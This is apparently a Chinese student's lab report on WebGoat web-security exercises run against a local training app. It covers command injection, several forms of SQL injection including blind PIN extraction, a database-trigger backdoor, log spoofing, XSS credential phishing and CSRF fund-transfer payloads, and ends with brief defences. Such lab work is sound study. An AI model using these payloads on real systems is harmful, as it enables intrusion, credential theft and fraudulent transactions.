2020-2021-5 20175229张智敏 《网络对抗技术》Exp9 Web安全基础
一、实验步骤
WebGoat: Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;
(1)输入java -jar webgoat-container-7.0.1-war-exec.jar
命令打开WebGoat
(2)出现以下内容则为运行成功
(3)在浏览器中输入http:.//localhost:8080/WebGoat
进入登录界面。输入界面下方的用户名和密码进行登录
(4)登录成功会进入如下界面,左侧为课程栏,点击可以看到课题的原理和目标,按要求完成相应练习
SQL注入攻击(Injection Flaws)
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
(1)命令注入(Command Injection)
①概念: 命令注入攻击对任何恶一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易收到这种形式的攻击。
②原理: 在正常的参数提交过程中添加恶意代码以执行某条指令
③目标: 能够在目标主机上执行任何系统命令
④步骤如下:
1>左侧的菜单栏中选择Injection Flaws
,然后点击Command Injection
,然后右键点击网页,选择Inspect Element
(查看网页源代码,也可以直接按f12
)
2>在审查网页源码框中,可以点击绿框中的按键单击复选框按钮快速找到对应的option
代码(之后的所有步骤都可以如此快速找到,不再强调),双击进行修改,在后面附加上“& netstat -an & ipconfig”
,然后单击View
3>在下方我们可以看到指令执行后的网络端口使用状况和IP地址
(2)数字型注入(Numeric SQL Injection)
①概念: 注入数字型数据(如永真式)实现注入效果
②原理: 在station字段中注入特征字符,组成新的SQL语句。如:SELECT * FROM weather_data WHERE station = [station]
③目标: 该例子可以通过注入SQL字符串查看所有天气数据。
④步骤如下:
1>在菜单栏Injection Flaws
下拉选项选择Numeric SQL Injection
2>同样打开页面源码,找到城市复选框对应源码,在Value值中添加or 1=1
3>点击GO!
,即可收到攻击结果:
(3)日志欺骗(Log Spoofing)
①概念: 通过在日志文件中插入脚本实现欺骗。
②原理: 在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
③目标: 灰色区域代表在Web服务器中的日志中记录的内容,目的是使用户名为“admin”的用户在日志中显示“成功登录”
④步骤如下:
1>在菜单栏中选择Injection Flaws
展开栏中的Log Spoofing
2>利用回车0D%
和换行符%0A
,在用户名输入框中输入zm5229%0d%0aLogin Succeeded for username: admin
,密码随便输
3>如图,攻击成功
4>攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>
作为用户名输入,可以看到弹窗的cookie信息。
(4)SQL注入(LAB:SQL Injection)
LAB:SQL Injection下拉列表分四个stage(stage2和stage4需要开发人员版本,我们不做),依次选择stage1和stage3。之后不再继续强调。
a.字符串型注入(stage1:String SQL Injection)
①原理: 通过注入字符串绕过验证
②步骤如下:
1>在网页源代码中找到密码输入框对应代码,将maxlength
修改为18
2>将登录人员选为下拉框中最后一个人(admin身份),然后在密码框内输入hello' or '1' = '1
3>如图,攻击成功
b.数字型SQL注入(stage 3:Numeric SQL Injection)
①原理: 通过注入数字型数据,绕过认证,可以通过普通员工的账户,查看到BOSS的用户信息。
②步骤如下:
1>使用员工Larry,密码larry登录,点击ViewProfile
查看用户信息
2>按f12
查看网页源代码,我们可以看到数据库索引的依据是员工ID,据此推测返回的是每次查询到的第一条数据
3>我们推测老板的工资肯定是最高的,因此我们可以将员工ID的value改为101 or 1=1 order by salary desc
,这样老板的信息就是查询到的第一条数据
4>再次点击ViewProfile
,即可查询老板的信息
(5)字符串注入(String SQL Injection)
①概念: 通过注入字符串绕过认证
②原理: 基于以下查询语句构造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
③目标: 下面的表格,允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。
④步骤如下:
1>将输入查询的用户名改为Smith' or 1=1--
。
2>点击Go!
,得到所有用户的信用卡号码。
(6)数据库后门(Database Backdoors)
①概念: 数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。
②目标: 利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。
③步骤如下:
1>输入101
,可以看到用户信息。其中没有任何的验证环节
2>输入101
;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='emp@hackme.com'WHERE userid = NEW.userid
,其中:
BEFORE/AFTER :指定了触发执行的时间,在事件之前或是之后。
FOR EACH ROW :表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
(7)数字型盲注入(Blind Numeric SQL Injection)
①原理: 某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必需充分利用查询语句,构造子查询语。
②目标: 该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
③步骤如下:
1>本题中只有账号有效或无效两种返回信息。因此无法直接查询到账号的pin值。但可以利用查询语句SELECT * FROM user_data WHERE userid=accountNumber
;如果查询语句返回了账号信息,则提示账号有效,否则提示无效。使用AND函数,添加一些额外的查询条件,利用返回信息推导pin值。
2>输入以下语句:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );
,得到结果为无效,判断pin值是小于5000的。
3>利用二分法通过有效无效两种信息最终判断出pin值为2364,实验成功!
(8)字符型盲注入(Blind String SQL Injection)
①概念: 与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
②原理: 找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本题目。
③翻译: 也就是这次的pin值并不是数字而是字母,这样我们就把AND后面的内容改为就具体某个字母大小的比对,通过SubString逐一确定每个字母。
④用法: SubString用法为SUBSTRING(STRING(字符串),START(开始位置),LENGTH(长度))
⑤步骤如下:
1>输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' );判断pin值的第一个字母是否小于‘M’,使用二分法直至判断出具体字母
2>因此类推判断出所有字母,最终得到pin字段为Jill
XSS攻击
跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
(1)XSS钓鱼(Phishing with XSS)
①原理: 当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
②目标: 创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
③步骤如下:
1>XSS可以在一存在的页面中进一步的添加元素,我们让受害人填写一个表格然后服务器以读取脚本的形式发送给攻击者。
2>编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat
3>编写一个带用户名和密码输入框的表格:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
4>攻击成功
(2)存储型XSS攻击(Stored XSS Attacks)
①原理: 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
②目标: 写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
③步骤如下:
1>在title中输入任意字符,留言板中输入
2>点击生成的message,出现提示。
(3)反射型XSS攻击(Reflected XSS Attacks)
①原理: 在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
②目标: 使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
③步骤如下:
1>输入前面XSS钓鱼中的代码,出现了用户名和密码的输入框,按照之前XSS钓鱼的流程,结果如下:
CSRF攻击
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
(1)跨站请求伪造(Cross Site Request Forgery (CSRF))
①原理: 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如:,当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。
②目标: 向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
③步骤如下:
1>查看页面右侧的scr值和menu值,分别为316和900
2>title栏中随便输入,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=316&menu=900&transferFunds=5000" width="1" height="1" />
以图片形式将URL放入Message框中,这事URL对其他用户不可见(宽高都为1为了隐藏该图片),用户点击图片就会触发CSRF事件,点击Submit
提交。
3>在下方点击该消息,当前页面会下载此消息并显示,转走用户的5000元。没有其他明显的显示,但左侧任务框会显示已完成
(2)绕过CSRF确认(CSRF Prompt By‐Pass)
①原理: 跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
②目标: 与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。
③步骤如下:
1>查看页面右侧的scr和menu值分别为316和900
2>titile框中输入学号,message框中输入代码:
<iframe src="attack?Screen=316&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=316&menu=900&transferFunds=CONFIRM"> </iframe>
3>点击生成的链接,任务完成
二、回答问题
(1)SQL注入攻击原理,如何防御
1.所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
2.sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。
3.比如登录过程,SQL语句一般为select id from users where username = '"+username +"' and password = '" + password +"',这里的username和password都是我们存取从web表单获得的数据。如果我们在表单中username的输入框中输入' or 1=1--,此时我们所要执行的sql语句就变成了select id from users where username = '' or 1=1-- and password = ''。
4.对SQL注入攻击的防御,主要有:
1>关闭或删除不必要的交互式提交表单页面;
2>对漏洞注入点相关代码进行代码及SQL注入关键字的过滤,以规范代码安全性;
3>不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点
(2)XSS攻击的原理,如何防御
1.览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。
2.一个原则:不相信用户输入的任何数据!
(3)CSRF攻击原理,如何防御
1.改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。
2.使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在Session里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
三、实验体会
这是本学期这门课程的最后一个实验了,一学期过得真快,真的就是“家里蹲”大学的上法,这学期甚至连给我们教课的老师一面都见不到,真是有点小小的遗憾,这门课动手的地方太多了,学到了许多东西!谢谢老师辛苦的教学!